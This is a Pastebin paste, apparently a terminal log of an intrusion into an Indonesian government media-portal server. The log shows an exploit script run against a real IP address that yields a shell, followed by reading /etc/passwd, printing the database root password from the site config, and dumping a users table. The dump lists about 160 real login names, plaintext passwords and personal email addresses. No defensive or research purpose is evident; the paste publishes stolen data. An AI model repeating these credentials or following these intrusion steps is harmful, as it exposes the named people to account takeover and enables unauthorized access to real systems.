API tools faq
paste
Advertisement
RussX9

test scan

RussX9
Aug 2nd, 2014
516
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.82 KB | None | 0 0
raw download clone embed print report
  1. [Root@localhost ~]$ cd Data
  2. [Root@localhost Data]$ perl depkominfo.pl -h 114.31.243.136 -p 6666
  3.  
  4. [+] connecting target 114.31.243.136:6666
  5. [+] exploiting in progress...
  6. [+] injecting a backdoor
  7. [!] w00t! yOu g0t shell!
  8. Warning: forward host lookup failed for ip-243-136.platinum.net.id: h_errno 11004: NO_DATA
  9. ip-243-136.platinum.net.id [114.31.243.136] 6666 (?) open
  10.  
  11. $ pwd; id; uname -a
  12. /var/www/html/
  13. uid=48(apache) gid=48(apache) groups=48(apache)
  14. Linux system.clearos.lan 2.6.18-194.8.1.v5PAE #1 SMP Thu Jul 15 02:01:47 EDT 2010 i686 i686 i386 GNU/Linux
  15.  
  16. $ w
  17. 0:59:13 up 13 days, 17:19, 1 user, load average: 0.16, 0.26, 0.26
  18. USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
  19. clearcon tty1 - 03Agu14 13days 0.00s 0.00s -bash8
  20.  
  21. $ cat /etc/passwd
  22. root:x:0:0:root:/root:/bin/bash
  23. bin:x:1:1:bin:/bin:/sbin/nologin
  24. daemon:x:2:2:daemon:/sbin:/sbin/nologin
  25. adm:x:3:4:adm:/var/adm:/sbin/nologin
  26. lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  27. sync:x:5:0:sync:/sbin:/bin/sync
  28. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  29. halt:x:7:0:halt:/sbin:/sbin/halt
  30. mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  31. news:x:9:13:news:/etc/news:
  32. uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
  33. operator:x:11:0:operator:/root:/sbin/nologin
  34. games:x:12:100:games:/usr/games:/sbin/nologin
  35. gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
  36. ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
  37. nobody:x:99:99:Nobody:/:/sbin/nologin
  38. clamav:x:46:46:Clam AntiVirus:/tmp:/sbin/nologin
  39. mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
  40. pcap:x:77:77::/var/arpwatch:/sbin/nologin
  41. nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
  42. vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
  43. ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin
  44. ntp:x:38:38::/etc/ntp:/sbin/nologin
  45. dbus:x:81:81:System message bus:/:/sbin/nologin
  46. suva:x:100:101:Suva:/var/lib/suva:/sbin/nologin
  47. apache:x:48:48:Apache:/var/www:/sbin/nologin
  48. webconfig:x:101:102:Webconfig:/var/webconfig:/bin/false
  49. sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  50. avahi:x:70:70:Avahi daemon:/:/sbin/nologin
  51. kolab:x:414:414::/var/lib/kolab:/sbin/nologin
  52. clearconsole:x:415:99:ClearOS Console:/var/lib/clearconsole:/bin/bash
  53. haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
  54. flexshare:x:351:351::/var/flexshare:/sbin/nologin
  55.  
  56. $ head index.php
  57. <?php
  58. include_once('inc.global.php');
  59. include_once('inc.function.php');
  60. ?>
  61. <!DOCTYPE html PUBLIC "-W3CDTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  62. <html xmlns="http://www.w3.org/1999/xhtml">
  63. <head>
  64. <meta name="robots" content="INDEX, FOLLOW"/>
  65. <meta name="y_key" content="10e3a45dfda257b8" />
  66. <meta name="description" content="<?php echo TITLE ?>" />
  67.  
  68. $ tail inc.global.php
  69. define('DB_HOST', 'localhost');
  70. define('DB_USER', 'root');
  71. define('DB_PASS', '123qwe');
  72. define('DB_NAME', 'portal_bip');
  73.  
  74. $conn = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die(mysql_error());
  75. mysql_select_db(DB_NAME);
  76. mysql_query("SET lc_time_names = 'id_ID'");
  77.  
  78. ?>
  79.  
  80. $ mysql -u root -p
  81. Welcome to the MySQL monitor. Commands end with ; or \g.
  82. Your MySQL connection id is 156556
  83. Server version: 5.0.77 Source distribution
  84.  
  85. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  86.  
  87. mysql> show databases;
  88. +--------------------+
  89. | Database |
  90. +--------------------+
  91. | information_schema |
  92. | mysql |
  93. | newsroom_ukp4 |
  94. | portal_bip |
  95. | test |
  96. +--------------------+
  97. 5 rows in set (0.00 sec)
  98.  
  99. mysql> use portal_bip
  100. Reading table information for completion of table and column names
  101. You can turn off this feature to get a quicker startup with -A
  102.  
  103. Database changed
  104. mysql> show tables;
  105. +----------------------+
  106. | Tables_in_portal_bip |
  107. +----------------------+
  108. | level |
  109. | location |
  110. | maxnews |
  111. | mc_album |
  112. | mc_image |
  113. | mc_news |
  114. | mc_update |
  115. | media_center |
  116. | office_site |
  117. | subcategory |
  118. | t_forum_category |
  119. | t_forum_post |
  120. | t_forum_topic |
  121. | t_forum_user |
  122. | tbanner |
  123. | tcategory |
  124. | tcomment |
  125. | tcontent |
  126. | tevent |
  127. | tguestbook |
  128. | theadline |
  129. | timagealbum |
  130. | timagepicture |
  131. | tlevel |
  132. | tlink |
  133. | tmedia |
  134. | tmemberlog |
  135. | tmenu |
  136. | tnews |
  137. | tnews_category |
  138. | tnews_content |
  139. | tnews_deleted |
  140. | tnews_lock |
  141. | tpoll |
  142. | tpoll_choice |
  143. | tproduct |
  144. | tproduct_list |
  145. | tpsa |
  146. | tpubliclog |
  147. | tsoal |
  148. | tsoal_log |
  149. | usergroup |
  150. | users |
  151. | vmaxnews |
  152. +----------------------+
  153. 44 rows in set (0.00 sec)
  154.  
  155. mysql> show columns from users;
  156. +-------------+--------------+------+-----+---------+----------------+
  157. | Field | Type | Null | Key | Default | Extra |
  158. +-------------+--------------+------+-----+---------+----------------+
  159. | autoNo | int(11) | NO | PRI | NULL | auto_increment |
  160. | idGroup | int(11) | NO | | NULL | |
  161. | levelId | int(11) | NO | | NULL | |
  162. | districtId | int(11) | NO | | NULL | |
  163. | loginId | varchar(50) | NO | | NULL | |
  164. | password | varchar(50) | NO | | NULL | |
  165. | username | text | NO | | NULL | |
  166. | birthDate | date | NO | | NULL | |
  167. | photo | varchar(100) | NO | | NULL | |
  168. | address | text | NO | | NULL | |
  169. | phone | varchar(100) | NO | | NULL | |
  170. | mob_phone | varchar(20) | NO | | NULL | |
  171. | email | varchar(100) | NO | | NULL | |
  172. | userBio | text | NO | | NULL | |
  173. | createdBy | varchar(100) | NO | | NULL | |
  174. | createdDate | datetime | NO | | NULL | |
  175. | updatedBy | varchar(100) | NO | | NULL | |
  176. | updatedDate | datetime | NO | | NULL | |
  177. +-------------+--------------+------+-----+---------+----------------+
  178. 18 rows in set (0.00 sec)
  179.  
  180. mysql> select loginId,password,Username from users;
  181. +-----------------+----------------+------------------------------------------------+
  182. | loginId | password | username |
  183. +-----------------+----------------+------------------------------------------------+
  184. | admin | 123qwe!@# | admin@depkominfo.go.id |
  185. | reporter | firmans | firman.kominfo@gmail.com |
  186. | mcenrekang | 123 | |
  187. | mcbima | 123 | |
  188. | mcjeneponto | 123 | |
  189. | mcmakassar | 123 | |
  190. | mcbitung | 123 | |
  191. | mcbiaknumfor | 123 | |
  192. | mcsultenggara | 123 | heryati82@gmail.com |
  193. | mcprovgorontalo | angkatan1 | tanthy.ganra@gmail.com, tanthy_humas@yahoo.com |
  194. | apoet | 123 | apoet@apoet.com |
  195. | choirul | 123456 | choirul.zone@gmail.com |
  196. | vina | 123456 | vina_falah@hotmail.com |
  197. | redpel | 123456 | redpel@redpel.com |
  198. | redaktur | 123456 | redaktur@email.com |
  199. | mcbanten | p3nd3k4rb4nt3n | infopublik@bantenprov.go.id |
  200. | ahmed | 123456 | |
  201. | repbanten | 123qwe!@# | |
  202. | mcyogya | 123qwe!@# | |
  203. | levi | jator | syahrina.pahlevi@yahoo.co.uk |
  204. | r_mustakim | POLHUKAM | r.mustakim@ymail.com |
  205. | mcaceh | 1234 | |
  206. | baheramsyah | amelia | baeng_17@yahoo.com |
  207. | masfardi | 123 | fardi_55@yahoo.co.id |
  208. | yudirahmat | R4hm4t | yudi62@yahoo.com, yudirahmat@gmail.com |
  209. | astra | 1104 | astrakominfo@yahoo.co.id |
  210. | Tomo | sutomosuaidah | tomo_1531@yahoo.co.id |
  211. | azwar | 100160 | azw4r_bdg@yahoo.co.id |
  212. | g_suranto | 123 | suranto_g@yahoo.co.id |
  213. | goenawan | Go3nawan | rgoenawan@yahoo.com |
  214. | sinar_goro | 123 | g1g1t11@yahoo.co.uk, nakedra@gmail.com |
  215. | eka_yona | 4534638 | gagak_2004@yahoo.com |
  216. | firmansyah | fuck | firman.kominfo@gmail.com |
  217. | wandi | jakarta123 | wandibip@gmail.com |
  218. | ismadi | Belvin45 | ismadi.amrin@yahoo.co.id |
  219. | juliah | iloveumom61 | julia_ahad@yahoo.com |
  220. | dian_t | 123 | enit_13@yahoo.co.id |
  221. | bakohumas | 123456 | |
  222. | ahmed | 123 | ahmedsw@hotmail.com |
  223. | agus_s | asb | agussbudiawan@yahoo.com |
  224. | gusti | cecile | goes_dry@yahoo.com |
  225. | tobari | 123 | |
  226. | soemarno | 123 | soemarno52@yahoo.com |
  227. | nusantara | 123 | |
  228. | report | 123 | |
  229. | mcpariaman | 13579 | |
  230. | mc_agam | 1234 | |
  231. | mcbengkulu | 123 | |
  232. | mcpalembang | inf0rk0m21 | febrianazhar@yahoo.com |
  233. | mcsingkawang | 123 | |
  234. | mcsabang | 123 | |
  235. | mckuburaya | 123 | |
  236. | mc_museumtmii | muspen2004 | yuri.a.waspodo@gmail.com |
  237. | mckalteng | amadeo | pey_budiman@yahoo.co.id |
  238. | mckotajambi | 123 | |
  239. | mcpekanbaru | 123 | |
  240. | mcpelalawan | 123 | |
  241. | mckaro | kabkaro2011 | kominfo@karokab.go.id |
  242. | mcbatanghari | 123 | |
  243. | mctulangbawang | 140784 | skin_forever2000@yahoo.com |
  244. | mcmusibanyuasin | m1u2b3a4bisa | kominfomuba@gmail.com |
  245. | mcdeliserdang | 123 | |
  246. | mcagam | MC AGAM | agam.mediacenter@gmail.com |
  247. | mcnunukan | 123 | |
  248. | mctanahdatar | 123 | |
  249. | mckalsel | 123 | |
  250. | mcsumbar | 123 | |
  251. | mcmetro | 123 | |
  252. | mcmuaraenim | k0M1nf0 | |
  253. | mckutai | 123 | |
  254. | mcbandaaceh | 123 | |
  255. | mcsampit | 123 | |
  256. | mc_kabgorontalo | 123 | |
  257. | mc_provjambi | 123 | |
  258. | mc_provbabel | 123 | |
  259. | mcbanjarmasin | 123 | |
  260. | mcbatam | 123 | |
  261. | mcbalikpapan | 123 | |
  262. | mcpadang | 13579 | |
  263. | mc_kabindramayu | 123 | humas@indramayukab.go.id |
  264. | mc_karangasem | 123 | |
  265. | s.pahlevi | jatoreko | syahrina.pahlevi@yahoo.co.uk |
  266. | mcparepare | 123 | |
  267. | mcsorong | 123 | |
  268. | mcbulukumba | 123 | |
  269. | mcmatenggara | 123 | |
  270. | mcpolman | 123 | |
  271. | mcmanokwari | 123 | |
  272. | mcbolaang | 123 | |
  273. | mcbelu | 123 | |
  274. | mcsumbawabar | 123 | |
  275. | mcsulteng | 123 | |
  276. | mcmaluku | 123 | |
  277. | mcntt | 123 | |
  278. | mcpapua | 123 | |
  279. | mcttu | 123 | |
  280. | mcmanado | 123 | |
  281. | mcposo | 123 | |
  282. | mcmerauke | 123 | |
  283. | mcsinjai | 123 | |
  284. | mckuningan | 123 | |
  285. | mcdemak | 123 | |
  286. | mcsurakarta | 123 | |
  287. | mcbekasi | 123 | |
  288. | mcmalang | 123 | |
  289. | mcbandung | 123 | |
  290. | mcblitar | 123 | |
  291. | mcpacitan | 123 | |
  292. | mckarangasem | 123 | |
  293. | mcdkijakarta | 123 | |
  294. | mcjatim | 123 | |
  295. | mctasik | 123 | |
  296. | mcsumenep | 123 | |
  297. | mcsubang | 123 | |
  298. | mckulonprogro | 123 | |
  299. | mcbogorkab | 123 | |
  300. | mcsidoarjokab | 123 | |
  301. | mctangerangkab | 123 | |
  302. | mcpekalongan | 123 | |
  303. | mccirebonkab | 123 | |
  304. | mcblora | 123 | |
  305. | mcjember | 123 | |
  306. | mckarawang | 123 | |
  307. | mccianjur | 123 | |
  308. | mcbojonegoro | 123 | |
  309. | mcmagetan | 123 | |
  310. | mckaranganyar | 123 | |
  311. | mcbali | 123 | |
  312. | mcjateng | 123 | |
  313. | mcsurabaya | 123 | |
  314. | mcsalatiga | 123 | |
  315. | mcsemarang | 123 | |
  316. | mcmadiun | 123 | |
  317. | mccilacap | 123 | |
  318. | mcbuleleng | 123 | |
  319. | mcgkidul | 123 | |
  320. | mcbadung | 123 | |
  321. | mckwarnas | 123 | |
  322. | mcmuslimatnu | 123 | |
  323. | mcsumut | 123 | |
  324. | mckepri | 123 | |
  325. | mckotimkab | 123 | |
  326. | mcmatengbakab | 123 | |
  327. | mth | mth | mthidayat@depkominfo.go.id |
  328. | yusri | 123 | |
  329. | mcprovgorontalo | 123 | |
  330. | mckaltim | 123 | |
  331. | mckalbar | 123 | |
  332. | mcprovbabel | 123 | |
  333. | mcprovbengkulu | 123 | |
  334. | mcjabar | 123 | |
  335. | mcyogya | munsif | msa@jogjaprov.go.id |
  336. | mclampung | l4mpun6 | |
  337. | mcmalut | 123 | |
  338. | mcsulbar | 123 | |
  339. | mcsulsel | 123 | |
  340. | mcsulut | martadinata35 | yennymaegoda@yahoo.co.id |
  341. | mcnad | 123 | |
  342. | mcprovriau | dkipdemc | muslimalai@yahoo.com |
  343. | mcntt | 123 | |
  344. | mcntb | 123 | |
  345. | pkl | 1234 | |
  346. +-----------------+----------------+------------------------------------------------+
  347. 162 rows in set (0.00 sec)
  348.  
  349. mysql> exit
  350.  
  351. PLEASE NOT BULLY ME BTW IM LAMMER :)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!